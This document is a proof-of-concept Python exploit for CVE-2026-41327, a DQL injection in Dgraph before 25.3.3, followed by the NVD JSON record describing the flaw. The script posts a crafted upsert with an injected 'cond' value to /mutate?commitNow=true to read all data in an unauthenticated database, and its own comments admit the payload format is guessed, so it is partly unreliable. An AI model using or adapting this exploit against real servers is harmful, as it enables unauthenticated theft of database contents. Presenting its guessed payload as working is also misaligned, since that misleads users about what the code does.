CVE-2026-41327

import requests # Target configuration target_url = "http://localhost:8080/mutate?commitNow=true" # The vulnerability resides in the 'cond' field of an upsert mutation. # We inject a DQL query block to read data (e.g., list all nodes). # The injection bypasses escaping because the value is concatenated directly. # Payload structure based on the description payload = { "query": """ upsert { query { # Dummy query to satisfy the parser structure v as var(func: has(name)) } mutation { # The 'cond' parameter is where the injection happens. # We attempt to close the existing condition and inject a new query block. set { uid(v) <dgraph.type> "Injected" . } } } """, # If the API accepts a separate 'cond' parameter that gets embedded: # This simulates the crafted cond field mentioned in the CVE. "vars": {"$cond": "} @filter(has(name)) { result as func: uid(v) } all_data(func: uid(result)) { name uid } #"} } # Note: The exact JSON structure depends on the Dgraph API version, # but the vulnerability is triggered by the content of the 'cond' field. try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for leaked data.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-41327", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:12.407", "lastModified": "2026-04-28T18:31:22.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dgraph is an open source distributed GraphQL database. Prior to 25.3.3, a vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled. The attack is a single HTTP POST to /mutate?commitNow=true containing a crafted cond field in an upsert mutation. The cond value is concatenated directly into a DQL query string via strings.Builder.WriteString after only a cosmetic strings.Replace transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the cond string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response. This vulnerability is fixed in 25.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-943"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:*", "versionEndExcluding": "25.3.3", "matchCriteriaId": "03E6E13D-4051-49C6-BDFB-3B66E2002401"}]}]}], "references": [{"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}